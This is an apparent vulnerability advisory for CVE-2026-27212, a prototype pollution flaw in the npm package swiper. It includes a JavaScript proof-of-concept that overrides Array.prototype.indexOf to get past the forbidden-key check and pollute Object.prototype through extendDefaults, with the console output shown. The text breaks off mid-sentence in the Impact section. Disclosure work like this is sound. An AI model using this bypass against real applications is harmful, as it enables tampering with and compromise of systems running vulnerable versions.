Prototype pollution in swiper
Date: 2026-02
Affected: npm/swiper
Attack vector: auth-bypass
Category: vulnerability-disclosure
Severity: Critical
CVE: CVE-2026-27212
CWE: CWE-1321

### Summary A prototype pollution vulnerability exists in the the npm package swiper (>=6.5.1, < 12.1.2). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute `Object.prototype` via a crafted input using Array.prototype. The exploit works across Windows and Linux and on Node and Bun runtimes. This issue is fixed in version 12.1.2 ### Details The vulnerability resides in line 94 of shared/utils.mjs where indexOf() function is used to check whether user provided input contain forbidden strings. ### PoC #### Steps to reproduce 1. Install latest version of swiper using npm install 2. Run the following code snippet: ```javascript var swiper = require('swiper'); Array.prototype.indexOf = () => -1; let obj = {}; var malicious_payload = '{"__proto__":{"polluted":"yes"}}'; console.log({}.polluted); swiper.default.extendDefaults(JSON.parse(malicious_payload)); console.log({}.polluted); // prints yes -> indicating that the patch was bypassed and prototype pollution occurred ``` #### Expected behavior Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console: ``` undefined undefined OR throw an Error ``` #### Actual behavior Object.prototype is polluted This is printed on the console: ``` undefined yes ``` ### Impact This is a prototype pollution vulnerability, which can have severe security implications depe


Mitigations:

Architectural layers (MAESTRO):